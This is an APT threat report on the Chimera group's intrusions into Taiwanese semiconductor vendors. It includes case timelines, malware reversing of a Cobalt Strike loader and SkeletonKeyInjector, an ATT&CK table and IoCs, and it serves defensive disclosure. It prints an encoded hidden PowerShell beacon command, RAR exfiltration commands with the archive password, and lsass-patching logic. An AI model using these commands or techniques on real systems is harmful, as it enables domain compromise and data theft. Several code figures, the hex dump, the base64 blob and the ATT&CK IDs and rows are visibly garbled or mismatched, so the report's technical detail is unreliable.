Craft for Resilience

APT Group Chimera –
APT Operation Skeleton Key Targets Taiwan Semiconductor Vendors
CyCraft Research Team
Chimera APT Threat Report

Introduction

This threat report provides an analysis of the advanced persistent threat (APT) attacks that have occurred during the past two years on the semiconductor industry. Our research shows that the majority of these attacks were concentrated on the Taiwan semiconductor sector. This is worthy of concern, as Taiwan’s semiconductor industry plays a very crucial role in the world. Even a small disruption in the supply chain could have a serious ripple effect throughout the entire industry. Surprisingly, up until now, there has been less coverage on these attacks. In this report, we seek to shed light on the threat actors and campaigns of these attacks, where they are collectively referred to as *Operation Skeleton Key*. Additionally, we provide a brief overview of the current information security status of Taiwan’s semiconductor industry.

With decades of development, Taiwan has established itself as a leading player in the semiconductor supply chain, including many well-known leaders in the area. According to a report by the Semiconductor Equipment and Materials International (SEMI), the global industry association representing the electronics manufacturing supply chain, Taiwan has been the largest consumer of semiconductor materials in the past several years [1]. Meanwhile, Wikipedia, says that Taiwan is currently among the top 5 sales leaders in multiple segments including foundry, integrated device manufacturer (IDM), fabless and outsourced semiconductor assembly and testing (OSAT) [2]. In 2019, Taiwan’s total semiconductor value reached a staggering $11.4 billion. Needless to say, the repercussions from a cyber attack on Taiwan’s semiconductor sector could be catastrophic.

Due to the high market value of the semiconductor industry, vendors have invested heavily in their cyber capabilities, especially in protecting the industrial control system (ICS) equipment used in fabrication plants. Although operational technology (OT) and information technology (IT) security is equally important, more emphasis has been placed on the former. This is evidenced by the fact that many vendors have opted to isolate their ICS equipment to ensure the manufacturing process is never interrupted. The downside to this approach is that once malicious code finds its way into the isolated environment, it can spread to other machines very quickly. One foremost example is the 2018 WannaCry ransomware attack on TSMC [3]. The hit on the world’s largest foundry company forced some of the plants to go offline for an entire day. Additionally, it took several days before the malware could be fully eradicated. The total damage caused by this attack reached $256 million. Separately, ASUS, which is a leading PC manufacturer in Taiwan, saw millions of its users impacted by *Operation ShadowHammer* [4]. In this report, we will show how IT attacks on semiconductor vendors can be just as damaging as an OT attack.

Between 2018 and 2019, we discovered several attacks on various semiconductor vendors located at the Hsinchu Science-based Industrial Park in Taiwan. As these attacks employed similar attack techniques and tactics, a pattern could be discerned from the malicious activities. From this pattern, we deduced that these attacks, which we dubbed *Chimera APT Group*, were actually conducted by the same threat actor. The main objective of these attacks appeared to be stealing intelligence, specifically documents about IC chips, software development kits (SDKs), IC designs, source code, etc. If such documents are successfully stolen, the impact can be devastating. The motive behind these attacks likely stems from competitors or even countries seeking to gain a
competitive advantage over rivals. Since these techniques and tactics were similar to previous attack activities, we suspect the attacker is a China-based hacker group. We thus hope that this report will help semiconductor companies gain a better understanding of the dangers from such attacks. Additionally, as we have worked with several of the semiconductor vendors to improve their cyber security, we wish to share this valuable experience, and highlight the current challenges facing the entire industry.

In this report, we conduct a comprehensive analysis on the employed technologies, tactics, and customized malware of Chimera APT Group. As this operation has not yet been documented, the techniques and tactics disclosed in this report can help blue teams design better defenses, and develop better detection and hunting methods. Below summarizes our findings of Chimera.

1. A unique account manipulation malware - SkeletonKeyInjector – was used. SkeletonKeyInjector contained code extracted from Dumpert and Mimikatz. This malware implanted a skeleton key into domain controller (DC) servers to continuously conduct lateral movement (LM). Additionally, by making direct sycalls, the malware could bypass security products based on API hooking. This malware was discovered in the two cases mentioned in this report.

2. The threat actor utilized Cobalt Strike as their main remote-access Trojan (RAT). The mutated Cobalt Strike backdoor replaced and masqueraded as Google Update to confuse users. Additionally, as most corresponding (command and control) C2s were located in the Google Cloud Platform, it made it difficult to attribute the actor. Aside from the two cases mentioned in this report, we also detected the presence of this malware in other semiconductor vendors.

3. Chimera used an old and patched version of RAR for data exfiltration. The same binary was found in the two cases mentioned in this report.

Storyline of the Operation

During our investigation of Chimera APT Group between 2018 to 2019, more than 30,000 endpoints belonging to various semiconductor vendors were analyzed. Two representative cases were chosen for a deeper analysis. The two cases (hereafter Case A and Case B) involved in the analysis currently have a leading global position in their own market segments. With business sites scattered around the world and a large annual revenue, their main research and development hub are both located in Taiwan. Two different approaches were adopted when investigating the two companies. For Case A, as we already enjoyed a long-term cooperation, our assistance focused on monitoring their systems. This allowed us to quickly identify the cyber attack in a short period of time. By contrast, as victims in Case B discovered on their own various abnormal activities, they asked for our help to formulate an effective incident response. During our forensic investigation, we found that the attacks had already been occurring for more than a year. As the activities, attack techniques and tactics were similar in the other cases we investigated, we believe this was the work of the same threat actor.

Case A:

In this case, the victim company had already subscribed to our continuous threat hunting
service. Our investigation revealed malicious activities occurring between 2019-12-09 ~ 2019-12-10. Meanwhile, in this incident, 15 endpoints and 6 user accounts were compromised, and 4 malwares and 8 C2 servers were found.

To help better depict the operational details of this case, the cyber situation graph and storyline is respectively shown in Fig 1. Note that all the server/user names are de-identified, and replaced with names that can represent their roles.

Figure 1: Storyline in Case A
The same APT malware - GoogleUpdate.exe - was found on two endpoints. On the day we discovered this malware, no information could be found on VirusTotal (VT). To confuse security products and analysts, the malware replaced the original GoogleUpdate binary and functioned as a mutated Cobalt Strike beacon to inject payloads into other processes. Moreover, network security devices had difficulty detecting the associated C2 servers, as they were located in the Google Cloud Platform. The C2 server domains are listed in Appendix I of the IoC section.

After successfully connecting back to the C2, the attacker used RECORDEDTV.MS to archive the stolen data for data exfiltration. It is worthy to note that even without the .exe file extension, the data exfiltration process could still be executed. Identical binaries were found in several machines, but under different names, e.g. RECORDEDTV.MS, uncheck.dmp, and jucheck.exe. This aroused our suspicions and prompted us to suspect the binary was masquerading as a Java Update program. Inserting malware in a location where legal software is stored seems to be a characteristic tactic of Chimera. For this case, it was found that the disguised program, which was a modified RAR software, had a one-byte discrepancy from the original version. We are still ascertaining the reasons behind this difference.

To track the root cause, we found that the first Cobalt Strike backdoor was located at NB-CLAIR, and was then remotely copied to Server-LAUREN. A valid account was used to invoke Cobalt Strike via schtasks (Fig 2).

![Figure 2: schtask is used for lateral movement](image-url)
The recon activities in Server-LAUREN are illustrated in the figure below. Several "net user" commands were executed for recon purposes, and the results were saved to the RecordedTV_lib.log (Fig 3).

![Figure 3: Reconnaissance commands](image)

Our analysis also showed that Server-LAUREN used wmic to remotely execute various commands in another endpoint to check if there was an Internet connection (Fig 4).

![Figure 4: Reconnaissance via wmic](image)
Server-LAUREN also archived the registry and ntds.dit to other hosts for offline breaking. The latter is an AD database, which contains information about domain hosts and users, e.g. id, name and password hash. Since this file was encrypted, and the key was stored in the SYSTEM registry, the threat actor needed to archive both ntds.dit and the registry to both decrypt the file and remotely brute-force the password hash. The control of Server-LAUREN, which was also achieved via schtasks, was traced back to the NB-CLAIR machine. From the NB-CLAIR timeline, we noticed that a remote desktop program (RDP) from a certain IP was run just six minutes before the schtasks was executed (Fig 5). Since this IP was a VPN server, and a valid account was used to log in to it, we believe the actor acquired the password from a separate data breach.

Figure 5: Overall activities

At the end of the attack, the wlanapi.dll malware, which we dubbed SkeletonKeyInjector, was used for persistence. More details of the malware reversing will be provided in Sec. 4 Malware Reversing.
Case B:

Suspicious activities were discovered in the victim company of Case B during an upgrade to their network infrastructure. We were tasked by the company to investigate this incident, which began in November 2019. During our investigation, we found that the cyber attack pattern resembled the tactics employed by Chimera. The entire attack occurred between October 7, 2018 to November 18, 2019, and a total of 24 endpoints were compromised. In these endpoints, 8 compromised accounts, 3 malware and 5 C2 servers were discovered. The persistence of this attack can be seen by the fact that it lasted for more than a year. The cyber situation graph and storyline are respectively shown in Fig 6 and Fig 7.

Unlike Case A, powershell scripts were widely used, which can be seen in following code snippets. To avoid the file-based detection mechanism, the payload was injected directly into the system memory. The injected malware was discovered in roughly 10 endpoints, which included two domain controllers. The powershell script was a Cobalt Strike backdoor and was used for process migration to other system processes. We found several hosts that had the Cobalt Strike malware implanted in their infected svchost.exe. Despite the discovery of the early stage malware and activities, the launch of our investigation was already at a very late point in time. Thus, there was insufficient evidence to pinpoint the likely initial access point. We surmise that the attack occurred via stolen valid credentials or phishing emails.

```powershell
-pw hidden -encodedcommand
JABzAD85TgB1AhcALQBPAIAagB1AGMAdAAPgAEkATwAuAE0AZQBTAG8AcgB5AFMAdAByAGUAYQBtACgALABBaEAM
AbwBuAHYAZQBYAHQAXQA6ADoARPByAG8AbgBcAGEAcwBiADYANABTAHQAcgBpAG4AzAnACISAA0AHMASQBBAE
EAQQBAAEEAQQBBAEEAQQB8LAFYAVwB1AfCaALwBpAE8AQgBEACsAMwBQAHeAswBYADQAVgAwAoAB8AsgB8aADHAdABnA
HQAZABwAFYAbwBuAEQAOQBrAGwABABKAGMAVAwAygA5AAbWvHAkAUlwBRAgBAdQBEAgC5gBkAfOeAeQ8TlAGQATAAbm
AC5ALwBTAFAKAdgA1AEoAYgAyAGIAawAnAcARyAaQ84AEFEBAbuAHMAdwAA4E9AASADQAUABKAE0AcBAsAGMAVwB
wAEYATQB5AFUAaABTAQGAIgBwAE0AeABSADQAVABQ
```
Figure 6: Storyline of Case B
As mentioned earlier, legal cloud services were widely used by Chimera as their C2 to avoid threat attribution. In this case, Appspot[.]com and azureedge[.]net were applied as the C2. The actor also used a RAR program under the guise of innocuous file names such as RecordedTV.ms, jucheck.exe and vmware.log to archive and steal the data of interest. A similar scheme was utilized by the attacker to archive the passwords they used. The following shows a sample command of the archived information.

```
c:\users\xxxx\libraries\RecordedTV.ms  a -m5 -v71m -hpfuckyou.google.com11 vmlum-vss.log
vmlum-vmvss.log
C:\Windows\system32\cmd.exe /C c:\users\xxxxxx\libraries\RecordedTV.ms a -m5 -r
-hpfuckyou.google.com11 vmlum-vmopt.log
"\<Hostname>\personal\<Username>\<Product>-Tranning-v1.1.pptx" > vmlumss.log & dir
vmlum-vmopt*
```

**Leaked File Name**

Based on the file names of the stolen files, it seemed to include chip documents, SDKs and even the source code. The key motive of the actor was to acquire semiconductor proprietary data. Similar to Case A, a DLL file (d3dll.dll) was used to deploy a Skeleton Key malware. An in-memory patch was performed to allow easy system log-in. Some of the de-identified leaked file names are listed below.

```
\Users\<Account>\Project\Roadmap
\Users\<Account>\Backup\Workspace
\Users\<Account>\chip and SDK setting
\Users\<Account>\<Productname> SDK Installation guide.pdf
```

It is worthy to note that among the various semiconductor vendors we investigated, similarities were seen in the deployed malware, techniques, and tactics. This particular APT group seemed to
have a keen interest in targeting the semiconductor industry. Additionally, in the absence of an AD monitoring system, we saw some vendors employing a white-list enforcement approach. Although this is a feasible approach, as the AD cannot execute any software outside the white-list, our investigation shows that APT actors were still able to use Living off the Land Binaries (LOL) bins to launch an attack.

**Malware Reversing**

Our analysis also revealed several suspicious memory modules. The first memory module resembled a CobaltStrike or metasploit beacon. The memory module was a PE file with a broken header, as seen in Fig 8 and Fig 9. From the figure, we can also see that the PE metadata has some invalid values, which contain a hidden shellcode (from offset 2).

![Figure 8: Raw content of the memory module](image)

![Figure 9: PE information](image)
The disassembled shellcode, which is a Reflective Loader, is listed in Fig 10. It first located the next payload at offset 0x1791C, and then loaded the payload. Meanwhile, 56A2B5F0 is the API hash of ExitProcess, which denotes the process exit.

```
00 ; Segment type: Regular
00 seg0000 ; segment byte public ''
00 assume cs:seg0000
00 assume es:nothing, ss:
00 unk_0
01 db 40h ; N
02 db 5Ah ; Z

02 ;
04 push r10
05 push rbp
06 mov rbp, rsp
08 sub rsp, 20h
0F lea rbx, unk_0
16 mov rdi, rbx
19 add rbx, 1791Ch
20 call rbx
22 mov r8d, 56A2B5F0h
28 push 4
2D pop rdx
2F mov rcx, rdi
31 call rax
```

Figure 10: Reflective loader shellcode

The other memory modules contained a different CobaltStrike beacon, and were used for migration. The first stage beacon injected a payload to a process for process migration. From the memory content (Fig 11), the “\pipe\mojo.5688.805…” string was the pipe created by the CobaltStrike beacon.

As we performed a deeper reverse engineering, we found that the process migration made use of the pipe inter-process (IPC) mechanism for communication. The injected code first used CreateNamePipe and ConnectNamePipe to establish an IPC with the original beacon (Fig 12). After reading the entire shellcode via the ReadFile from the name pipe, the shellcode was invoked in 0x401155, and a CobaltStrike backdoor was created (Fig 13).
Figure 12: Disassemble shellcode I

Figure 13: Disassemble shellcode II
Upon discovery of this sample, we first performed a retrohunt analysis. The discovery of a related binary led us to initially believe the sample was a Dumpert. However, a more in-depth analysis revealed that the d3d11.dll sample implanted a skeleton key, where adversaries could persistently control (before the system reboot) the infected machine and machines under the infected AD. More specifically, the malware was an account manipulation tool that contained code extracted from both Dumpert and Mimikatz. We called this malware SkeletonKeyInjector. The malware employed a technique that altered the NTLM authentication program and implanted a skeleton key to allow adversaries to log-in without a valid credential. This allowed the adversary to achieve the following objectives:

- **Persistence:** After the code in memory was altered, the adversary could gain access to the compromised machines before the next system reboot. As AD machines are rarely rebooted, the adversary was able to control the machines for a very long time.
- **Defense Evasion:** Aside from the different login password and login algorithm scheme, there was no difference when compared to a normal login activity. Furthermore, normal users could still log-in to the system via their original password. Thus, the probability of being exposed was low.
- **Lateral Movement:** Adversaries could use the skeleton key to log in to other machines that were in the same domain. This made it easier for an adversary to conduct lateral movement.

To show which functions shared a resemblance to Mimikatz or Dumpert, we reversed the functions of d3d11.dll and recovered the function names in Fig 14. For easy understanding, we recovered the function names that migrated from Mimikatz, which have either the “kuhl” or “kull” prefix. As for functions that migrated from Dumpert, the prefix “Dumpert” was included in the name. For functions that were implemented by the adversary, no prefix was added.
In order to bypass the API monitoring, which is widely used in anti-virus or EDR products, the malware directly invoked syscalls and implemented high level API logic. Since the syscall numbers differ between each Windows version, the following code snippet was used to determine the OS version in use, and thereby obtain the correct syscall number. Our analysis showed that this code snippet was copied from Dumpert.

To run the Mimikatz code snippet used by the malware, a privilege called
SE_DEBUG_PRIVILEGE was needed. The code shown in Fig 16 used RtlAdjustPrivilege to obtain the SE_DEBUG_PRIVILEGE to allow the malware to open, read, and write other process memory as a debugger. By comparing the code snippet (Fig 17) with the original code in Mimikatz (Fig 18), we found that instead of calling the OpenProcess API, the malware instead invoked OpenProcess via Dumpert. As mentioned earlier, the malware sought to bypass the API hooking via syscalls.

```c
1 signed __int64 __fastcall StartAddress(LPVOID lpThreadParameter)
2 {
3     unsigned __int8 OldValue; // [rsp+38h] [rbp+10h]
4     if ( RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, 1u, 0, &OldValue) == 0 )
5         kuhl_m_misc_skeleton();
6     return 1164;
7 }

Figure 16: SE_DEBUG_PRIVILEGE
```

SkeletonKeyInjector first searched for the string “Kerberos-Newer-Keys” in the lsass.exe process memory. When the “Kerberos-Newer-Keys” address was found, it then searched for the Unicode structure in the memory that referenced this address. Afterwards, the Unicode structure was altered with empty strings by manipulating the string reference to an empty string and size zero. This manipulation downgraded the lsass.exe in using insecure crypto scheme - RC4 without salt. From Fig 17 and Fig 18, the similar code segments between Mimikatz and d3d11.dll are shown.

```c
40 #define ForChCount = 5;
50 if (str_KerberosNewerKeys = L"Kerberos-Newer-Keys") // L"Kerberos-Newer-Keys"
51     if (str_KerberosNewerKeys[2] = L"Kerberos-Newer-Keys")
52         if (str_KerberosNewerKeys[4] = L"Kerberos-Newer-Keys")
53             if (str_KerberosNewerKeys[6] = L"Kerberos-Newer-Keys")
54                 if (str_KerberosNewerKeys[8] = L"Kerberos-Newer-Keys")
55                     if (str_KerberosNewerKeys[10] = L"Kerberos-Newer-Keys")
56                         if (str_KerberosNewerKeys[12] = L"Kerberos-Newer-Keys")
57                             if (str_KerberosNewerKeys[14] = L"Kerberos-Newer-Keys")
58                                 if (str_KerberosNewerKeys[16] = L"Kerberos-Newer-Keys")
59                                     if (str_KerberosNewerKeys[18] = L"Kerberos-Newer-Keys")
60                                         if (str_KerberosNewerKeys[20] = L"Kerberos-Newer-Keys")
61                                             if (str_KerberosNewerKeys[22] = L"Kerberos-Newer-Keys")
62                                                 if (str_KerberosNewerKeys[24] = L"Kerberos-Newer-Keys")
63                                                     if (str_KerberosNewerKeys[26] = L"Kerberos-Newer-Keys")
64                                                          if (str_KerberosNewerKeys[28] = L"Kerberos-Newer-Keys")
66                                                             if (str_KerberosNewerKeys[32] = L"Kerberos-Newer-Keys")
67                                                                 if (str_KerberosNewerKeys[34] = L"Kerberos-Newer-Keys")
68                                                                      if (str_KerberosNewerKeys[36] = L"Kerberos-Newer-Keys")
69                                                                             if (str_KerberosNewerKeys[38] = L"Kerberos-Newer-Keys")
70                                                                                if (str_KerberosNewerKeys[40] = L"Kerberos-Newer-Keys")
71                                                                                       if (str_KerberosNewerKeys[42] = L"Kerberos-Newer-Keys")
72                                                                                        if (str_KerberosNewerKeys[44] = L"Kerberos-Newer-Keys")
73                                                                                             if (str_KerberosNewerKeys[46] = L"Kerberos-Newer-Keys")
74                                                                                               if (str_KerberosNewerKeys[48] = L"Kerberos-Newer-Keys")
75                                                                                                   if (str_KerberosNewerKeys[50] = L"Kerberos-Newer-Keys")
76                                                                                                      if (str_KerberosNewerKeys[52] = L"Kerberos-Newer-Keys")
77                                                                                                          if (str_KerberosNewerKeys[54] = L"Kerberos-Newer-Keys")
78                                                                                                             if (str_KerberosNewerKeys[56] = L"Kerberos-Newer-Keys")
79                                                                                                               if (str_KerberosNewerKeys[58] = L"Kerberos-Newer-Keys")
80                                                                                                                 if (str_KerberosNewerKeys[60] = L"Kerberos-Newer-Keys")
81                                                                                                                   if (str_KerberosNewerKeys[62] = L"Kerberos-Newer-Keys")
82                                                                                                                      if (str_KerberosNewerKeys[64] = L"Kerberos-Newer-Keys")
83                                                                                                                          if (str_KerberosNewerKeys[66] = L"Kerberos-Newer-Keys")
84                                                                                                                             if (str_KerberosNewerKeys[68] = L"Kerberos-Newer-Keys")
85                                                                                                                               if (str_KerberosNewerKeys[70] = L"Kerberos-Newer-Keys")
86                                                                                                                                  if (str_KerberosNewerKeys[72] = L"Kerberos-Newer-Keys")
87                                                                                                                                     if (str_KerberosNewerKeys[74] = L"Kerberos-Newer-Keys")
88                                                                                                                                        if (str_KerberosNewerKeys[76] = L"Kerberos-Newer-Keys")
89                                                                                                                                                if (str_KerberosNewerKeys[78] = L"Kerberos-Newer-Keys")
90                                                                                                                                                      if (str_KerberosNewerKeys[80] = L"Kerberos-Newer-Keys")

Figure 17: SkeletonKeyInjector Code Snippet I
After downgrading to RC4, the SkeletonKeyInjector altered the function pointers in cryptdll.dll!CDLocateCSystem by redirecting them to its customized functions (Fig 19). Specifically, two functions were altered, one for the RC4 initialization, and the other for the RC4 decryption. In the RC4 initialization function, a new RC4 NTLM was injected with a pre-calculated hash value of the skeleton key. When the authentication check failed due to incorrect credentials, the RC4 decryption function prompted the authentication process to compare the credentials with the skeleton key. Once a match was confirmed, the log in was permitted. Noteworthy, the malware contained customized NTLM hash, which had a slight difference over the original Mimikatz.
In Fig 20 and 21, the similarities between SkeletonKeyInjector and Mimikatz are illustrated.

![Figure 20: Forged RC4 init function](image)

![Figure 21: Forged RC4 init function in Mimikatz](image)
RecordedTV.ms (jucheck)

MD5: c9b8cab697f23e6ee9b1096e312e8573
SHA256: 66f13964c87fc6fe093a9d8cc0de0bf2b3bdaea9564210283fdb97a1dde9893b

This program is not considered malware, but a modified legitimate RAR program that was utilized in this operation. The original version is shown below:

```
RAR 3.60 beta 8 Copyright (c) 1993-2006 Alexander Roshal 20 Jul 2006
```

Specifically, this is a rar.exe v3.6. In Figure 22, the left section shows the original rar.exe, while the right section depicts the RecordedTV.ms.

```
FDB0h: C4 09 3B 03 02 09 8C 0C 80 03 0B 03 10 0B 03 10
FDC0h: 0F 0F 69 05 33 0C 0F 68 05 33 0C 0F 69 05 33 0C
FDD0h: C3 3B F3 76 05 33 C FDB0h: C3 3B F3 76
FDC0h: 0F 0F 68 05 33 0C 0F 5F 03 3B C3 53 56 5E FDC0h: C0 0E 5B C3
FDD0h: 8B C7 E8 65 FD FF FF FF FF FF FF 03 3B C3 53 56 5E FDC0h: C0 0E 5B C3
```

Figure 22: Patched byte in RecordedTV.ms

Our research shows one of the bytes in the code segment was altered, as depicted in Figure 23. However, we are still determining the reason why a byte size data was altered. All of the cases that we investigated used this modified rar.exe program to archive the stolen data, which is evidence that these attacks were likely conducted by the same group.

```
.text:004107BA
.text:004107BA 49     dec    ecx
.text:004107B0 85 C9     test   ecx, ecx
.text:004107B2 7F E0     jg     short loc_41079F
.text:004107BF
.text:004107BF 33 C0     xor    eax, eax
.text:004107BF 8E      push   cs
.text:004107C1 5B      pop    ebx
.text:004107C3 C3     ret
```

Figure 23: Disassembly result of patched byte in RecordedTV.ms
The last malware involved in this operation was BaseClient.exe, which is a general network testing tool. We suspect this program was not developed by the adversary, but was obtained from a benign source. Used by the adversary for network reconnaissance, it is unlikely to be flagged by security systems, as the program may be inherently benign.

```c
struct in_addr Src; // [esp+28h] [esp+14h]
unsigned int v24; // [esp+24h] [esp+8h]
char v25; // [esp+20h] [esp+10h]
if ( argc < 4 )
{
    print("Usage: baseclient.exe -p [protocol] -a [ipv4 address]");
    print("Usage: baseclient.exe -p [protocol] -a [ipv6 address]");
    print("-l option, use legacy [ip] protocol.");
    print("Note: port and mac address for icmp is optional.");
    print("Example: baseclient.exe -p tcp -a 192.168.23.11 -p 1025 -l");
    print("Example: baseclient.exe -p tcp -a 192.168.23.11 -p");
    print("Example: baseclient.exe -p tcp -a 123.56.55.223 -p");
    return 0;
}
Src.sin_family = AF_INET;
Src.sin_port = htons(80);
if ( strncmp(pkgShader, "gzip", 4) == 0 )
{
    strlen(pkgShader, sizeof(pkgShader));
    GetOption(argv, (int)argc, "P:port=1025");
    if ( argc != 3 )
    {
        v26 = argv[0];
        if ( strcmp(argv, "Str")
        {
            break;
        }
        switch ( v26 )
        {
            case "P":
                if ( IsLocal("tcp", Str )
```
MITRE ATT&CK Techniques

In this chapter, we summarize the techniques employed in Chimera APT. These techniques are organized based on the MITRE ATT&CK framework.

<table>
<thead>
<tr>
<th>Tactic</th>
<th>ID</th>
<th>Technique</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Initial Access</td>
<td>T113</td>
<td>External Remote Services</td>
<td>The threat actor’s first entry point was from a VPN server, where a valid account was used. We believe the actor acquired the password from a separate data breach to login to the VPN.</td>
</tr>
<tr>
<td>Execution</td>
<td>T104</td>
<td>Windows Management Instrumentation</td>
<td>The threat actor used wmi to remotely execute commands on another endpoint for reconnaissance, primarily checking the Internet connection availability.</td>
</tr>
<tr>
<td></td>
<td>T105</td>
<td>Process Injection</td>
<td>The threat actor leveraged scheduled tasks to launch APT malware to a remote system using domain controller account credentials. After the execution, the threat actor removed the scheduled task information to hide the system artifact.</td>
</tr>
<tr>
<td>Defense Evasion</td>
<td>T105</td>
<td>Account Discovery</td>
<td>The 'net user' commands were used to recon user information. The final results were dumped to RecordedTA_lib.log.</td>
</tr>
<tr>
<td>Discovery</td>
<td>T100</td>
<td>Credential Dumping</td>
<td>NTDS from Domain Controller, threat actor collected registry and ntds.dit in other hosts from the domain controller for offline breaking. The threat actor merged code from dumpert and mimikatz to dump system credentials, which was hard to detect by security products.</td>
</tr>
<tr>
<td>Persistence</td>
<td>T109</td>
<td>Account</td>
<td>The threat actor used Skeleton key to inject</td>
</tr>
<tr>
<td>Tactic</td>
<td>Nativelang</td>
<td>Technique</td>
<td>Description</td>
</tr>
<tr>
<td>---------------------</td>
<td>------------</td>
<td>----------------------------------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Manipulation</td>
<td>8</td>
<td>False credentials into domain controllers with the intent of creating a backdoor password. This stealthy technique was hard to detect.</td>
<td></td>
</tr>
<tr>
<td>Lateral Movement</td>
<td>T107 6</td>
<td>Remote Desktop Protocol</td>
<td>The threat actor used a valid account to remotely login to the system.</td>
</tr>
<tr>
<td></td>
<td>T107 7</td>
<td>Windows Admin Shares</td>
<td>The threat actor used windows admin share to collect and LM to remote system.</td>
</tr>
<tr>
<td>Command and Control</td>
<td>T110 2</td>
<td>Web Service</td>
<td>The threat actor widely used Google’s appspot to host their C2 servers.</td>
</tr>
<tr>
<td>Exfiltration</td>
<td>T153 2</td>
<td>Data Encrypted</td>
<td>One characteristic of the threat actor was using “fuckyou.google[.]com” as the password to encrypt the stolen data.</td>
</tr>
<tr>
<td></td>
<td>T100 2</td>
<td>Data Compressed</td>
<td>This program was a modified RAR software, where there was a one byte inconsistency over the original version.</td>
</tr>
</tbody>
</table>
Conclusion

For nearly two years, our team monitored several attacks that targeted Taiwan’s semiconductor vendors. We believe these attacks originated from the same threat actor - Chimera, as these attacks utilized similar tactics, techniques and even the same customized malware. The actor likely harvested various valid credentials via phishing emails or data breaches as their starting point to conduct their cyber attack on the vendors. CobaltStrike was later used as their main RAT tool. To avoid detection, the CobaltStrike RAT was often masqueraded as a Google Chrome Update. The RAT would then connect back to their C2 server. As these servers were in a public cloud server, it made it difficult to track. Subsequently, by compromising the AD server, the delicate malware - SkeletonKeyInjector - was invoked to implant a general key to allow LM, persistence and defense evasion. Although this malware was discovered for the first time, we have high confidence that these attacks were conducted by the same threat actor. Based on the stolen data, we infer that the actor’s goal was to harvest company trade secrets. The motive may be related to business competition or a country’s industrial strategy. We hope that the tactics, techniques and IoCs disclosed by this report can better help semiconductor vendors improve their security mechanisms and prevent such attacks from occurring again.
Reference

Appendix I: IoC List

Malware

<table>
<thead>
<tr>
<th>Hash</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>f2d4a35f20cd92c13cab8f6a50995a3b</td>
<td>CobaltStrike backdoor</td>
</tr>
<tr>
<td>389d184ef0b0b2901c982c421142cbb1</td>
<td>CobaltStrike backdoor</td>
</tr>
<tr>
<td>c9b8cab697f23e6ee9b1096e312e8573</td>
<td>Archive Tool (Greyware)</td>
</tr>
<tr>
<td>a403d96953eb867f3092751d0763c7d0</td>
<td>Persistence</td>
</tr>
<tr>
<td>bb897e34bc0d1e82dfe79d0898f5a88</td>
<td>Persistence</td>
</tr>
</tbody>
</table>

C2 Domain

<table>
<thead>
<tr>
<th>Domain</th>
</tr>
</thead>
<tbody>
<tr>
<td>chrome-applatnohp.appspot[.]com</td>
</tr>
<tr>
<td>ussdns04.heketwe[.]com</td>
</tr>
<tr>
<td>ussdns01.heketwe[.]com</td>
</tr>
<tr>
<td>78276.ussdns02.heketwe[.]com</td>
</tr>
<tr>
<td>78276.ussdns01.heketwe[.]com</td>
</tr>
</tbody>
</table>